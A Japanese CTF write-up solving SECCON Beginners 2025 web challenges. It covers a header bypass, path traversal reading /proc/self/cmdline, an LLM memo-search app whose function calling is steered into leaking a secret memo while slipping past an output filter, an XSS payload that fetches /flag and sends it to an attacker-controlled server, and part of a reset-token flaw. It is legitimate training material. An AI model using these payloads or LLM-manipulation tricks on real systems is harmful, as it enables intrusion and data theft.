Writer:b1uef0x / Webページ建造途中
今年も例年通り単独参加しようと考えていたが、過去のWriteupを読むと単独参加時は難しい問題に取り組めず力尽きていた。
というわけで今年はチーム参加でWeb問を中心に解いた。
/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。
curl http://skipping.challenges.beginners.seccon.jp:33455
アプリケーションのコードを読む。
index.jsvar express = require("express");
var app = express();
const FLAG = process.env.FLAG;
const PORT = process.env.PORT;
app.get("/", (req, res, next) => {
return res.send('FLAG をどうぞ: <a href="/flag">/flag</a>');
});
const check = (req, res, next) => {
if (!req.headers['x-ctf4b-request'] || req.headers['x-ctf4b-request'] !== 'ctf4b') {
return res.status(403).send('403 Forbidden');
}
next();
}
app.get("/flag", check, (req, res, next) => {
return res.send(FLAG);
})
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
check関数でhttp headerにx-ctf4b-request: ctf4b
が入っているかどうかをチェックしているのでヘッダを追加してリクエストする。
curl -H "x-ctf4b-request: ctf4b" http://skipping.challenges.beginners.seccon.jp:33455/flag
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです...
http://log-viewer.challenges.beginners.seccon.jp:9999
ソースコードは配布されない。
選択したファイルの内容を閲覧できるが、明らかにパストラバーサルの脆弱性がある。読み込めるaccess.logとdebug.logを確認する。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.log192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:56 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:41:58 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:12:42:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:12:42:15 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:17 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)"
192.168.65.1 - - [21/June/2025:10:42:21 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:24 +0900] "GET /?file=../.env HTTP/1.1" 404 690 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:42:53 +0900] "GET /?file=../../proc/self/environ HTTP/1.1" 200 770 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:43:58 +0900] "GET / HTTP/1.1" 200 526 "-" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:43:59 +0900] "GET /favicon.ico HTTP/1.1" 200 526 "http://localhost:8000/" "Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0"
192.168.65.1 - - [21/June/2025:10:45:13 +0900] "GET /?file=access.log HTTP/1.1" 200 1228 "http://localhost:8000/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
192.168.65.1 - - [21/June/2025:10:47:01 +0900] "GET /?file=debug.log HTTP/1.1" 200 1368 "http://localhost:8000/?file=access.log" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0"
アクセスログにはパストラバーサルを行ったログが残っており、/?file=../../proc/self/environ
をリクエストして200OKが返っている。2階層遡ればトップディレクトリであることがわかる。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=debug.log2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=""
2025/06/21 10:41:58 INFO handlerFunc file=""
2025/06/21 10:42:13 INFO handlerFunc file="access.log"
2025/06/21 10:42:15 INFO handlerFunc file="access.log"
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:17 INFO handlerFunc file=""
2025/06/21 10:42:21 INFO handlerFunc file="debug.log"
2025/06/21 10:42:24 INFO handlerFunc file="../.env"
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file="../../proc/self/envion"
2025/06/21 10:43:59 INFO handlerFunc file=""
2025/06/21 12:45:13 INFO handlerFunc file="access.log"
2025/06/21 12:47:01 INFO handlerFunc file="debug.log"
デバッグログにはコマンドライン引数にflagが与えられていることがわかる。実行中のアプリケーションのコマンドライン引数を取得できればいいので、/proc/self/cmdline
をリクエストする。
次のURLにアクセスする。
http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline
コマンドライン引数についたflagが得られる。
/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}
Flagはadminが秘密のメモの中に隠しました!
http://memo-rag.challenges.beginners.seccon.jp:33456
LLMを使ったSQLデータベース検索アプリケーションの問題。RAGとは言うがデータベースのベクトル化まではされておらず、LLMに検索ワードを作らせるものだ。
メモを作成する機能と検索する機能があるが、管理者botが巡回するわけではないので作成機能は無視する。LLMにflagを検索させる問題となる。
取得すべきflagについてSQLの定義を確認する。
init.sqlCREATE DATABASE IF NOT EXISTS memodb
DEFAULT CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;
USE memodb;
CREATE TABLE IF NOT EXISTS users (
id VARCHAR(36) PRIMARY KEY,
username VARCHAR(255) UNIQUE,
password TEXT
) CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;
CREATE TABLE IF NOT EXISTS memos (
id VARCHAR(36) PRIMARY KEY,
user_id VARCHAR(36),
body TEXT,
visibility ENUM('public','private','secret') NOT NULL,
password TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;
INSERT IGNORE INTO users (id, username, password) VALUES
('dummy_admin_id', 'admin', 'dummy_admin_pass');
INSERT IGNORE INTO memos (id, user_id, body, visibility, password) VALUES
('dummy_admin_memo_id', 'dummy_admin_id', 'ctf4b{dummy_flag}', 'secret', 'dummy_admin_memo_pass');
ユーザー名:adminでflagの入ったメモが作成されていて、メモにはパスワードがかかっていて直接表示できない。
次にアプリケーション本体。
app.pyimport os
import uuid
import json
import logging
import sys
from flask import Flask, request, redirect, render_template, session, url_for
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import pymysql
from openai import OpenAI
openai_client = OpenAI()
app = Flask(__name__)
app.secret_key = os.getenv("SESSION_SECRET")
limiter = Limiter(
get_remote_address,
app=app,
default_limits=[],
storage_uri="redis://redis:6379",
)
# DB接続
def get_db():
return pymysql.connect(
host=os.getenv("MYSQL_HOST"),
user=os.getenv("MYSQL_USER"),
password=os.getenv("MYSQL_PASSWORD"),
database=os.getenv("MYSQL_DATABASE"),
charset='utf8mb4',
autocommit=True,
cursorclass=pymysql.cursors.DictCursor,
)
def query_db(sql, args=(), fetchone=False):
con = get_db()
with con.cursor() as cur:
cur.execute(sql, args)
result = cur.fetchone() if fetchone else cur.fetchall()
con.close()
return result
def execute_db(sql, args=()):
con = get_db()
with con.cursor() as cur:
cur.execute(sql, args)
con.close()
@app.route('/')
def index():
if 'user_id' in session:
return redirect(f"/users/{session['user_id']}")
return redirect(url_for('login'))
# ユーザー登録
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
# username の重複をチェック
existing = query_db("SELECT 1 FROM users WHERE username=%s", (username,), fetchone=True)
if existing:
return 'このユーザー名は既に使われています。', 409
user_id = str(uuid.uuid4())
execute_db("INSERT INTO users (id, username, password) VALUES (%s, %s, %s)", (user_id, username, password))
session['user_id'] = user_id
return redirect(f"/users/{user_id}")
return render_template('register.html')
# ログイン
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = query_db("SELECT * FROM users WHERE username=%s AND password=%s", (username, password), fetchone=True)
if user:
session['user_id'] = user['id']
return redirect(f"/users/{user['id']}")
return 'ユーザー名またはパスワードが間違っています。', 403
return render_template('login.html')
# ログアウト
@app.route('/logout')
def logout():
session.clear()
return redirect(url_for('login'))
# ユーザーページ(自分のメモは非公開も表示、他人のメモは公開のみ)
@app.route('/users/<uid>')
def user_page(uid):
current = session.get('user_id')
if current == uid:
sql = """
SELECT id, body, visibility FROM memos WHERE user_id=%s AND visibility IN ('public','private')
UNION
SELECT id, '??秘密メモ' AS body, 'secret' AS visibility FROM memos WHERE user_id=%s AND visibility='secret'
"""
memos = query_db(sql, (uid, uid))
else:
memos = query_db("SELECT id, body, visibility FROM memos WHERE user_id=%s AND visibility='public'", (uid,))
return render_template('index.html', memos=memos)
# メモの詳細表示(secret の場合はパスワードを要求)
@app.route('/memo/<mid>', methods=['GET', 'POST'])
def memo_detail(mid):
uid = session.get('user_id')
memo = query_db('SELECT * FROM memos WHERE id=%s', (mid,), fetchone=True)
if not memo:
return 'Not found', 404
if memo['user_id'] != uid:
return 'Forbidden', 403
if memo['visibility'] == 'secret':
if request.method == 'POST' and request.form.get('password') == memo.get('password'):
return render_template('detail.html', memo=memo, authorized=True)
return render_template('detail.html', memo=memo, authorized=False) if request.method == 'GET' else ('Wrong password', 403)
return render_template('detail.html', memo=memo, authorized=True)
# メモの作成
@app.route('/memo/create', methods=['GET', 'POST'])
def memo_create():
uid = session.get('user_id')
if not uid:
return redirect('/')
if request.method == 'POST':
memo_count = query_db("SELECT COUNT(*) AS count FROM memos WHERE user_id=%s", (uid,), fetchone=True)['count']
if memo_count >= 3:
return "メモは3つまでしか作成できません。", 403
body = request.form.get('body', '')
if len(body) > 100:
return "メモは100文字以下で入力してください。", 400
visibility = request.form.get('visibility', 'public')
password = request.form.get('password', '') if visibility == 'secret' else None
mid = str(uuid.uuid4())
execute_db(
'INSERT INTO memos (id,user_id,body,visibility,password) VALUES (%s,%s,%s,%s,%s)',
(mid, uid, body, visibility, password)
)
return redirect(f'/memo/{mid}')
return render_template('create.html')
# 指定ユーザーのメモをキーワードで検索
def search_memos(keyword: str, include_secret: bool, user_id: str) -> list:
visibilities = ("public","private","secret") if include_secret else ("public","private")
placeholders = ','.join(['%s'] * len(visibilities))
sql = f"SELECT id, body FROM memos WHERE user_id=%s AND visibility IN ({placeholders})"
rows = query_db(sql, (user_id, *visibilities))
return [r for r in rows if keyword.lower() in r['body'].lower()]
# 指定キーワードを含むメモの投稿者を取得
def get_author_by_body(keyword: str) -> list:
row = query_db("SELECT user_id FROM memos WHERE body LIKE %s ORDER BY created_at ASC LIMIT 1", (f"%{keyword}%",), fetchone=True)
return [{'user_id': row['user_id']}] if row else []
# RAG機能:検索や投稿者取得をfunction callingで実施
def rag(query: str, user_id: str) -> list:
tools = [
{
'type': 'function',
'function': {
'name': 'search_memos',
'description': 'Search for memos by keyword and visibility settings.',
'parameters': {
'type': 'object',
'properties': {
'keyword': {'type': 'string'},
'include_secret': {'type': 'boolean'},
'target_uid': {'type': 'string'}
},
'required': ['keyword', 'include_secret', 'target_uid'],
}
}
},
{
'type': 'function',
'function': {
'name': 'get_author_by_body',
'description': 'Find the user who wrote a memo containing a given keyword.',
'parameters': {
'type': 'object',
'properties': {
'keyword': {'type': 'string'}
},
'required': ['keyword']
}
}
}
]
response = openai_client.chat.completions.create(
model='gpt-4o-mini',
messages=[
{'role': 'system', 'content': 'You are an assistant that helps search user memos using the available tools.'},
{'role': 'assistant', 'content': 'Target User ID: ' + user_id},
{'role': 'user', 'content': query}
],
tools=tools,
tool_choice='required',
max_tokens=100,
)
choice = response.choices[0]
if choice.message.tool_calls:
call = choice.message.tool_calls[0]
name = call.function.name
args = json.loads(call.function.arguments)
if name == 'search_memos':
return search_memos(args.get('keyword', ''), args.get('include_secret', False), args.get('target_uid', ''))
elif name == 'get_author_by_body':
return get_author_by_body(args['keyword'])
return []
# メモを文脈にして質問に答える
def answer_with_context(query: str, memos: list) -> str:
context_text = "\n---\n".join([m['body'] for m in memos])
prompt = f"""Here are your memos. Answer the following question based on them:
{context_text}
Question: {query}
"""
response = openai_client.chat.completions.create(
model='gpt-4o-mini',
messages=[
{'role': 'system', 'content': 'You are an assistant that answers questions using the user\'s memos as context.'},
{'role': 'user', 'content': prompt}
],
max_tokens=100,
)
content = response.choices[0].message.content.strip()
return content
# RAGによるメモ検索
@app.route('/memo/search', methods=['GET'])
def search_form():
uid = session.get('user_id')
if not uid:
return redirect('/')
return render_template('search.html', answer=None, query='')
@app.route('/memo/search', methods=['POST'])
@limiter.limit("5 per minute")
def search():
uid = session.get('user_id')
if not uid:
return redirect('/')
query = request.form.get('query', '')
memos = rag(query, uid)
if not (memos and isinstance(memos, list)):
answer = "関連するメモが見つかりませんでした。"
else:
if 'user_id' in memos[0]:
answer = f"User ID: {memos[0]['user_id']}"
else:
answer = answer_with_context(query, memos)
# 回答にFLAGが含まれている場合は警告を表示
if "ctf4b" in answer:
answer = "FLAGのメモは取得できません。"
return render_template('search.html', answer=answer, query=query)
# ログ出力の設定
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[logging.StreamHandler(sys.stdout)]
)
コードを読むと、まずLLMが指定できる検索機能はsearch_memos関数とget_author_by_body関数の2つ。
search_memos(keyword: str, include_secret: bool, user_id: str)
は、指定したユーザーIDのメモをキーワード検索してヒットしたメモを返す。secretを含めるかどうかもLLMの裁量で選択できる。get_author_by_body(keyword: str)
は、キーワード検索にヒットするユーザーIDを検索できる。したがって、get_author_by_bodyを使ってadminのユーザーIDを取得し、続いてユーザーIDでflagを検索すればいいことがわかる。
また一番下のsearch関数を読むとLLMの回答にctf4bが含まれると表示させない機能があるが、これはLLMにctf4bを消去して回答させると回避できる。
次の2ステップでflagを取得できる。
ctf4b{b3_c4r3ful_0f_func710n_c4ll1n6_m15u53d_4rgum3nt5}
Emojiが使えるメモアプリケーションを作りました:smile:
メモアプリ: http://memo4b.challenges.beginners.seccon.jp:50000
Admin Bot: http://memo4b.challenges.beginners.seccon.jp:50001
メモを投稿して管理者botに巡回させる問題。勝利条件はシンプルで作成したメモでXSSを発火させれば勝ち。
ソースコードは以下の通り。
app.jsimport express from 'express';
import sanitizeHtml from 'sanitize-html';
import { marked } from 'marked';
import parse from 'url-parse';
import fs from 'fs';
import path from 'path';
import crypto from 'crypto';
const app = express();
const posts = new Map();
const FLAG = fs.readFileSync('./flag.txt','utf8').trim();
const emojiMap = {
'smile': '😊',
'heart': '❤️',
'fire': '🔥',
'thumbsup': '👍',
'thumbsdown': '👎',
'check': '✅',
'x': '❌',
'party': '🎉',
'eyes': '👀',
'thinking': '🤔',
'cry': '😢',
'laugh': '😂'
};
app.use(express.urlencoded({ extended: false }));
app.use(express.json());
function renderTemplate(templatePath, data) {
let template = fs.readFileSync(templatePath, 'utf8');
for (const [key, value] of Object.entries(data)) {
const placeholder = `{{${key.toUpperCase()}}}`;
template = template.replace(new RegExp(placeholder, 'g'), value);
}
return template;
}
app.get('/flag', (req,res)=> {
const clientIP = req.socket.remoteAddress;
const isLocalhost = clientIP === '127.0.0.1' ||
clientIP?.startsWith('172.20.');
if (!isLocalhost) {
return res.status(403).json({ error: 'Access denied.' });
}
if (req.headers.cookie !== 'user=admin') {
return res.status(403).json({ error: 'Admin access required.' });
}
res.type('text/plain').send(FLAG);
});
app.get('/', (_req, res) => {
const html = renderTemplate('./templates/index.html', {});
res.send(html);
});
app.post('/', (req,res)=>{
const { title='', md='' } = req.body;
marked.setOptions({
breaks: true,
gfm: false
});
let html = marked.parse(md);
html = sanitizeHtml(html, {
allowedTags: ['h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'em', 'strong', 'br'],
allowedAttributes: {
'a': ['href']
}
});
html = processEmojis(html);
const id = crypto.randomUUID().slice(0,8);
posts.set(id,{
title: title.replace(/[<>]/g, ''),
html: html
});
res.redirect(`/post/${id}`);
});
app.get('/post/:id', (req,res)=>{
const post = posts.get(req.params.id);
if(!post) return res.sendStatus(404);
const html = renderTemplate('./templates/post.html', {
title: post.title,
content: post.html
});
res.send(html);
});
app.use('/static', express.static(path.join(process.cwd(),'static')));
app.get('/api/posts', (req, res) => {
const postList = Array.from(posts.entries()).map(([id, post]) => ({
id,
title: post.title,
url: `/post/${id}`
}));
res.json(postList);
});
function processEmojis(html) {
return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
if (emojiMap[name]) {
return emojiMap[name];
}
if (name.match(/^https?:\/\//)) {
try {
const urlObj = new URL(name);
const baseUrl = urlObj.origin + urlObj.pathname;
const parsed = parse(name);
const fragment = parsed.hash || '';
const imgUrl = baseUrl + fragment;
return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
} catch (e) {
return match;
}
}
return match;
});
}
app.listen(50000, '0.0.0.0', ()=>console.log('Server running on http://localhost:50000'));
bot.jsimport puppeteer from 'puppeteer';
import http from 'http';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const WEBAPP_URL = process.env.WEBAPP_URL || 'http://web:50000';
const VISIT_TIMEOUT = 10000;
async function visitPost(postId) {
console.log(`[Bot] Visiting post: ${postId}`);
const browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage',
'--disable-gpu'
]
});
try {
const page = await browser.newPage();
await page.setCookie({
name: 'user',
value: 'admin',
domain: 'web',
path: '/'
});
const url = `${WEBAPP_URL}/post/${postId}`;
await page.goto(url, {
waitUntil: 'domcontentloaded',
timeout: VISIT_TIMEOUT
});
await new Promise(resolve => setTimeout(resolve, 3000));
console.log(`[Bot] Successfully visited post: ${postId}`);
} catch (error) {
console.error(`[Bot] Error visiting post ${postId}:`, error.message);
} finally {
await browser.close();
}
}
const server = http.createServer(async (req, res) => {
if (req.method === 'GET' && req.url === '/') {
try {
const html = fs.readFileSync(path.join(__dirname, 'index.html'), 'utf8');
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
res.end(html);
} catch (error) {
res.writeHead(500, { 'Content-Type': 'text/plain' });
res.end('Error loading page');
}
return;
}
if (req.method === 'POST' && req.url === '/visit') {
let body = '';
req.on('data', chunk => {
body += chunk.toString();
});
req.on('end', async () => {
try {
const { postId } = JSON.parse(body);
if (!postId) {
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('Missing postId');
return;
}
visitPost(postId).catch(console.error);
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Visit scheduled');
} catch (error) {
res.writeHead(400, { 'Content-Type': 'text/plain' });
res.end('Invalid request');
}
});
} else {
res.writeHead(404, { 'Content-Type': 'text/plain' });
res.end('Not Found');
}
});
const PORT = process.env.PORT || 50001;
server.listen(PORT, '0.0.0.0', () => {
console.log(`[Bot] Admin bot running on port ${PORT}`);
});
flag取得条件は/flagにアクセスすることで、アクセス元が127.0.0.1のようなローカルホストかつuser:adminのCookieを持つことだが、これは管理者botでしか開けないことを意図している。
メモ作成機能はmarkdownが使用できる。本文は外部ライブラリのmarked.parseとsanitizeHtmlで処理されているので欠陥は期待できない。
しかし絵文字を変換するprocessEmojis関数は自前で実装されていて、ここに付け入る隙がある。
function processEmojis(html) {
return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
if (emojiMap[name]) {
return emojiMap[name];
}
if (name.match(/^https?:\/\//)) {
try {
const urlObj = new URL(name);
const baseUrl = urlObj.origin + urlObj.pathname;
const parsed = parse(name);
const fragment = parsed.hash || '';
const imgUrl = baseUrl + fragment;
return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
} catch (e) {
return match;
}
}
return match;
});
}
この関数では絵文字の他に:http://...:
の文字列をimgタグに変換する機能があり、imgタグにerror属性を入れてJavaScriptを発火させたい。
色々試すと次の入力でonerrorを発火させることができた。
:https://aaaaa.aaaaa#" onerror="alert(1):
これで勝ちなので/flagにアクセスして取得したデータを自分のURLに送るコードを書く。URLの文字列には:を含むのでbase64でエンコードしている。
:https://aaaaa.aaaaa#" onerror="fetch('/flag').then(function(r){ return r.text(); }).then(function(t){ new Image().src=atob('送信先サーバーのURLのbase64文字列')+t; }):
これでメモを作成してIDを管理者botに巡回させると自分のサーバーにflagが降ってくる。
ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}
Are you admin? http://login4b.challenges.beginners.seccon.jp
任意のユーザーを作成してログインできて、adminならflagを表示できるサービス。
通常のユーザーではflagは表示できない。
server.tsimport express, { Request, Response } from "express";
import session from "express-session";
import path from "path";
import { db } from "./database";
declare module "express-session" {
interface SessionData {
userId?: number;
username?: string;
}
}
const app = express();
const PORT = process.env.PORT || 3000;
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, "../public")));
app.use(
session({
secret:
process.env.SESSION_SECRET || "your-secret-key-change-in-production",
resave: false,
saveUninitialized: false,
cookie: { secure: false, maxAge: 24 * 60 * 60 * 1000 },
})
);
app.post("/api/register", async (req: Request, res: Response) => {
try {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ error: "Username and password required" });
}
const existingUser = await db.findUser(username);
if (existingUser) {
return res.status(400).json({ error: "Username already exists" });
}
const userId = await db.createUser(username, password);
req.session.userId = userId;
req.session.username = username;
res.json({ success: true, message: "Registration successful" });
} catch (error) {
res.status(500).json({ error: "Registration failed" });
}
});
app.post("/api/login", async (req: Request, res: Response) => {
try {
const { username, password } = req.body;
if (!username || !password) {
return res.status(400).json({ error: "Username and password required" });
}
const user = await db.findUser(username);
if (!user || !db.validatePassword(password, user.password_hash)) {
return res.status(401).json({ error: "Invalid credentials" });
}
req.session.userId = user.userid;
req.session.username = user.username;
res.json({ success: true, message: "Login successful" });
} catch (error) {
res.status(500).json({ error: "Login failed" });
}
});
app.post("/api/logout", (req: Request, res: Response) => {
req.session.destroy((err) => {
if (err) {
return res.status(500).json({ error: "Logout failed" });
}
res.json({ success: true, message: "Logout successful" });
});
});
app.post("/api/reset-request", async (req: Request, res: Response) => {
try {
const { username } = req.body;
if (!username) {
return res.status(400).json({ error: "Username is required" });
}
const user = await db.findUser(username);
if (!user) {
return res.status(404).json({ error: "User not found" });
}
await db.generateResetToken(user.userid);
// TODO: send email to admin
res.json({
success: true,
message:
"Reset token has been generated. Please contact the administrator for the token.",
});
} catch (error) {
console.error("Error generating reset token:", error);
res.status(500).json({ error: "Internal server error" });
}
});
app.post("/api/reset-password", async (req: Request, res: Response) => {
try {
const { username, token, newPassword } = req.body;
if (!username || !token || !newPassword) {
return res
.status(400)
.json({ error: "Username, token, and new password are required" });
}
const isValid = await db.validateResetTokenByUsername(username, token);
if (!isValid) {
return res.status(400).json({ error: "Invalid token" });
}
// TODO: implement
// await db.updatePasswordByUsername(username, newPassword);
// TODO: remove this
const user = await db.findUser(username);
if (!user) {
return res.status(401).json({ error: "Invalid username" });
}
req.session.userId = user.userid;
req.session.username = user.username;
res.json({
success: true,
message: `The function to update the password is not implemented, so I will set you the ${user.username}'s session`,
});
} catch (error) {
console.error("Password reset error:", error);
res.status(500).json({ error: "Reset failed" });
}
});
app.get("/api/get_flag", (req: Request, res: Response) => {
if (!req.session.userId) {
return res.status(401).json({ error: "Not authenticated" });
}
if (req.session.username === "admin") {
res.json({ flag: process.env.FLAG || "ctf4B{**REDACTED**}" });
} else {
res.json({ message: "Hello user! Only admin can see the flag." });
}
});
app.get("/api/status", (req: Request, res: Response) => {
if (req.session.userId) {
res.json({
authenticated: true,
username: req.session.username,
isAdmin: req.session.username === "admin",
});
} else {
res.json({ authenticated: false });
}
});
app.get("*", (req: Request, res: Response) => {
res.sendFile(path.join(__dirname, "../public/index.html"));
});
app.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
database.tsimport mysql from "mysql2/promise";
import bcrypt from "bcryptjs";
import { v4 as uuidv4 } from "uuid";
export interface User {
userid: number;
username: string;
password_hash: string;
reset_token: string | null;
}
class Database {
private pool: mysql.Pool;
private initialized: Promise<void>;
constructor() {
this.pool = mysql.createPool({
host: process.env.DB_HOST || "localhost",
port: parseInt(process.env.DB_PORT || "3306"),
user: process.env.DB_USER || "root",
password: process.env.DB_PASSWORD || "rootpassword",
database: process.env.DB_NAME || "login4b",
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0,
});
this.initialized = this.init();
}
private async init() {
try {
await this.pool.execute(`
CREATE TABLE IF NOT EXISTS users (
userid INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
reset_token VARCHAR(255)
)
`);
// Check if admin user exists
const [rows] = (await this.pool.execute(
"SELECT COUNT(*) as count FROM users WHERE username = ?",
["admin"]
)) as [any[], mysql.FieldPacket[]];
if (rows[0].count === 0) {
const adminHash = bcrypt.hashSync(
process.env.ADMIN_PASSWORD || "admin_pass",
10
);
await this.pool.execute(
"INSERT INTO users (username, password_hash) VALUES (?, ?)",
["admin", adminHash]
);
}
} catch (error) {
console.error("Database initialization error:", error);
}
}
async createUser(username: string, password: string): Promise<number> {
await this.initialized;
const hashedPassword = bcrypt.hashSync(password, 10);
const [result] = (await this.pool.execute(
"INSERT INTO users (username, password_hash) VALUES (?, ?)",
[username, hashedPassword]
)) as [mysql.ResultSetHeader, mysql.FieldPacket[]];
return result.insertId;
}
async findUser(username: string): Promise<User | null> {
await this.initialized;
const [rows] = (await this.pool.execute(
"SELECT * FROM users WHERE username = ?",
[username]
)) as [User[], mysql.FieldPacket[]];
return rows[0] || null;
}
validatePassword(password: string, hash: string): boolean {
return bcrypt.compareSync(password, hash);
}
async generateResetToken(userid: number): Promise<string> {
await this.initialized;
const timestamp = Math.floor(Date.now() / 1000);
const token = `${timestamp}_${uuidv4()}`;
await this.pool.execute(
"UPDATE users SET reset_token = ? WHERE userid = ?",
[token, userid]
);
return token;
}
async validateResetTokenByUsername(
username: string,
token: string
): Promise<boolean> {
await this.initialized;
const [rows] = (await this.pool.execute(
"SELECT COUNT(*) as count FROM users WHERE username = ? AND reset_token = ?",
[username, token]
)) as [any[], mysql.FieldPacket[]];
return rows[0].count > 0;
}
}
export const db = new Database();
このサービスにはパスワードリセット機能がある。任意のユーザーを指定してリセット用トークンを発行するがトークンを知ることはできず、リセットにはトークンが必要になる。
reset-passwordを見ると意味深けなコードが書かれている。
app.post("/api/reset-password", async (req: Request, res: Response) => {
try {
const { username, token, newPassword } = req.body;
if (!username || !token || !newPassword) {
return res
.status(400)
.json({ error: "Username, token, and new password are required" });
}
const isValid = await db.validateResetTokenByUsername(username, token);
if (!isValid) {
return res.status(400).json({ error: "Invalid token" });
}
// TODO: implement
// await db.updatePasswordByUsername(username, newPassword);
// TODO: remove this
const user = await db.findUser(username);
if (!user) {
return res.status(401).json({ error: "Invalid username" });
}
req.session.userId = user.userid;
req.session.username = user.username;
res.json({
success: true,
message: `The function to update the password is not implemented, so I will set you the ${user.username}'s session`,
});
} catch (error) {
console.error("Password reset error:", error);
res.status(500).json({ error: "Reset failed" });
}
});
